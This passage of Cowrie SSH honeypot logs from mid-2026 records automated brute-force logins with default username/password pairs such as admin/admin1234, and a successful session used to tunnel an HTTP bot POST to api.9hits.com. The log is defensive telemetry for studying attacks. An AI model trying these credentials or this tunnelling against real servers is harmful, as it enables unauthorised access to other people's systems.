16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:24.891251Z","src_ip":"45.153.34.195","session":"e4dfe9e7a020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:25.295829Z","src_ip":"45.153.34.195","session":"e4dfe9e7a020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:26.424570Z","src_ip":"45.153.34.195","session":"e4dfe9e7a020","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42872,"dst_ip":"10.17.0.5","dst_port":22,"session":"690d133b0134","protocol":"ssh","message":"New connection: 45.153.34.195:42872 (10.17.0.5:22) [session: 690d133b0134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:27.630579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:27.640332Z","src_ip":"45.153.34.195","session":"690d133b0134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":64560,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd694c98cd82","protocol":"ssh","message":"New connection: 23.175.50.47:64560 (10.17.0.5:22) [session: dd694c98cd82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:27.659223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:27.664181Z","src_ip":"23.175.50.47","session":"dd694c98cd82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:27.731587Z","src_ip":"45.153.34.195","session":"690d133b0134","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:27.764178Z","src_ip":"23.175.50.47","session":"dd694c98cd82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:28.154325Z","src_ip":"45.153.34.195","session":"690d133b0134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50438,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea5426413371","protocol":"ssh","message":"New connection: 91.92.40.36:50438 (159.203.135.109:22) [session: ea5426413371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:28.633114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:28.712096Z","src_ip":"91.92.40.36","session":"ea5426413371","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:28.983808Z","src_ip":"23.175.50.47","session":"dd694c98cd82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:29.237102Z","src_ip":"45.153.34.195","session":"690d133b0134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":63932,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ab80d1fc152","protocol":"ssh","message":"New connection: 123.27.168.40:63932 (10.17.0.5:22) [session: 7ab80d1fc152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:29.405944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:29.410057Z","src_ip":"123.27.168.40","session":"7ab80d1fc152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:29.670408Z","src_ip":"123.27.168.40","session":"7ab80d1fc152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:30.078450Z","src_ip":"91.92.40.36","session":"ea5426413371","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42890,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1eebbf962a4","protocol":"ssh","message":"New connection: 45.153.34.195:42890 (10.17.0.5:22) [session: e1eebbf962a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:30.418676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:30.424402Z","src_ip":"45.153.34.195","session":"e1eebbf962a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:30.514361Z","src_ip":"45.153.34.195","session":"e1eebbf962a4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:30.877259Z","src_ip":"123.27.168.40","session":"7ab80d1fc152","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:30.891061Z","src_ip":"45.153.34.195","session":"e1eebbf962a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:31.287655Z","session":"7ab80d1fc152","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:31.382947Z","session":"7ab80d1fc152","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:31.858669Z","src_ip":"123.27.168.40","session":"7ab80d1fc152","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_4_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.5 Mobile/16G161 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Vnl%2BNW9BL34qKGRfblIyTA%3D%3DvB0U3NlY42UNezAHvMru5fIrRsu5f79XPGwi%2BaRe9dCqPe2omY2mmyH2KBNlxnlBmEJGTRAi1PMLggnzWNRq7M8w7s8moLQpGl5ZXUHZgxF8x6RKs1OIajKDFa2D7IpQ%2FHTkVdOkzX2aY6MfYuh0g%2BnC2vXMVu2LwoVPcqgzNhwh%2FbeD%2BT9Boe3cJTnDxyDIZ3X9T6dXMUmagaJEPK6bCNUIta7%2FkBO9PtXXgUm8RlEJSpqgvoLNtISq41SkyTzJFLKpsbDaN6lYZSz4hPGVJ1YP4aCl2atrJe%2BoHtV%2BOqW6LbkJsoG35WHeaMx%2F84a%2FOyjHdugP7cIySSFvjYWF%2BPJ7%2BuKrvSOWchOnQGyu%2F1VxUGJaK6%2BZukjxe6KKKv%2Fx9SougRUOpJu%2FrvyCY6uHNk9l2Osg8%2FvCFes5L3Ep5iPh2%2FAIC6esDGoHsMKNTq3iABkq%2BUlkZH2PbdsouPtY1s9jkRl8TZNd7sOXof6%2BSCwCRd4rfOqvln9fVT25IxaBJOMx7PAueIG5fy1w1fvQ1bdGWpxHPWvN4YNUj1sefelxYjDYUy4QhCJmt5ZZBZgVbekJuUQOHuo1HkGUabjHj90beaGo6T%2FkLhVQArgdxEbLvHoRDixpFD0Wfgb7HDdlyka1JYm18ri56jtYnW7acqYzKzSapwCL%2FHo4MhNZwQr%2Fdl4YhRpAp7qRQXuJKERnPsMh02sTqDlTBAnv2hsxzpazROINqJ4d9ILz%2FrDiExXuzg%2BPszrHM85V6OWeA%2BL69wb4GzFe6oGYOnP3zLkiWh6cmkqoNxnHmvDUfeagrj8JRTCHrz%2F6GOOO1yj7hWWEmu0XbAGfAaRj8fiZsTShdFkfcWhKP1MElzx6pQeOaZalRFYv9uShHaLK%2FBzNXhWbIm3wRe89w7v3dSv9aKpVzmKgFGgFIyN4AgxBsRE%2F3KAaOss1GkZYethk%2Fk9MPEYhwotqghJ9o7AjjIDtCbXW45k9dsGhWqn225RHKxO5fz00WxZ1PDpnJfAVXBPlKtSB4CgnjumzvaB8SNyL0EMSIqa6bWo6nPcRW23akEZxyXc%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_4_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.5 Mobile/16G161 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Vnl%2BNW9BL34qKGRfblIyTA%3D%3DvB0U3NlY42UNezAHvMru5fIrRsu5f79XPGwi%2BaRe9dCqPe2omY2mmyH2KBNlxnlBmEJGTRAi1PMLggnzWNRq7M8w7s8moLQpGl5ZXUHZgxF8x6RKs1OIajKDFa2D7IpQ%2FHTkVdOkzX2aY6MfYuh0g%2BnC2vXMVu2LwoVPcqgzNhwh%2FbeD%2BT9Boe3cJTnDxyDIZ3X9T6dXMUmagaJEPK6bCNUIta7%2FkBO9PtXXgUm8RlEJSpqgvoLNtISq41SkyTzJFLKpsbDaN6lYZSz4hPGVJ1YP4aCl2atrJe%2BoHtV%2BOqW6LbkJsoG35WHeaMx%2F84a%2FOyjHdugP7cIySSFvjYWF%2BPJ7%2BuKrvSOWchOnQGyu%2F1VxUGJaK6%2BZukjxe6KKKv%2Fx9SougRUOpJu%2FrvyCY6uHNk9l2Osg8%2FvCFes5L3Ep5iPh2%2FAIC6esDGoHsMKNTq3iABkq%2BUlkZH2PbdsouPtY1s9jkRl8TZNd7sOXof6%2BSCwCRd4rfOqvln9fVT25IxaBJOMx7PAueIG5fy1w1fvQ1bdGWpxHPWvN4YNUj1sefelxYjDYUy4QhCJmt5ZZBZgVbekJuUQOHuo1HkGUabjHj90beaGo6T%2FkLhVQArgdxEbLvHoRDixpFD0Wfgb7HDdlyka1JYm18ri56jtYnW7acqYzKzSapwCL%2FHo4MhNZwQr%2Fdl4YhRpAp7qRQXuJKERnPsMh02sTqDlTBAnv2hsxzpazROINqJ4d9ILz%2FrDiExXuzg%2BPszrHM85V6OWeA%2BL69wb4GzFe6oGYOnP3zLkiWh6cmkqoNxnHmvDUfeagrj8JRTCHrz%2F6GOOO1yj7hWWEmu0XbAGfAaRj8fiZsTShdFkfcWhKP1MElzx6pQeOaZalRFYv9uShHaLK%2FBzNXhWbIm3wRe89w7v3dSv9aKpVzmKgFGgFIyN4AgxBsRE%2F3KAaOss1GkZYethk%2Fk9MPEYhwotqghJ9o7AjjIDtCbXW45k9dsGhWqn225RHKxO5fz00WxZ1PDpnJfAVXBPlKtSB4CgnjumzvaB8SNyL0EMSIqa6bWo6nPcRW23akEZxyXc%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:31.861704Z","src_ip":"123.27.168.40","session":"7ab80d1fc152","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:31.864738Z","src_ip":"123.27.168.40","session":"7ab80d1fc152","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x92#Z:\\x8a\\xab[D\\xbf\\xba\\xba\\xc4\\xd7M\\xc3U\\xcfU\\x8c-\\xc1\\xe8/\\x1e\\xbe\\xdf\\xa7W\\x8e\\xd7@* \\x8f\\x07\\xec\\xedsZ\\x16\\x1c,_\\xf9\\xc2\\t\\x00\\xc5\\x8a\\x84\\x04W\\xd9Z\\xe9\\xf7\\xbbB\\xfb\\xb1\\xf0\\xcd\\xfd\\xf5B\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 V\\xcf\\xd7\\x88b2\\x96\\xa27\\xadH\\x0c\\xffy\\xac\\xd0Y\\t\\x91\\x97e\\xe0A\\xc7\\xf6^V-\\xb0\\x8e\\xa79\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x92#Z:\\x8a\\xab[D\\xbf\\xba\\xba\\xc4\\xd7M\\xc3U\\xcfU\\x8c-\\xc1\\xe8/\\x1e\\xbe\\xdf\\xa7W\\x8e\\xd7@* \\x8f\\x07\\xec\\xedsZ\\x16\\x1c,_\\xf9\\xc2\\t\\x00\\xc5\\x8a\\x84\\x04W\\xd9Z\\xe9\\xf7\\xbbB\\xfb\\xb1\\xf0\\xcd\\xfd\\xf5B\\x00 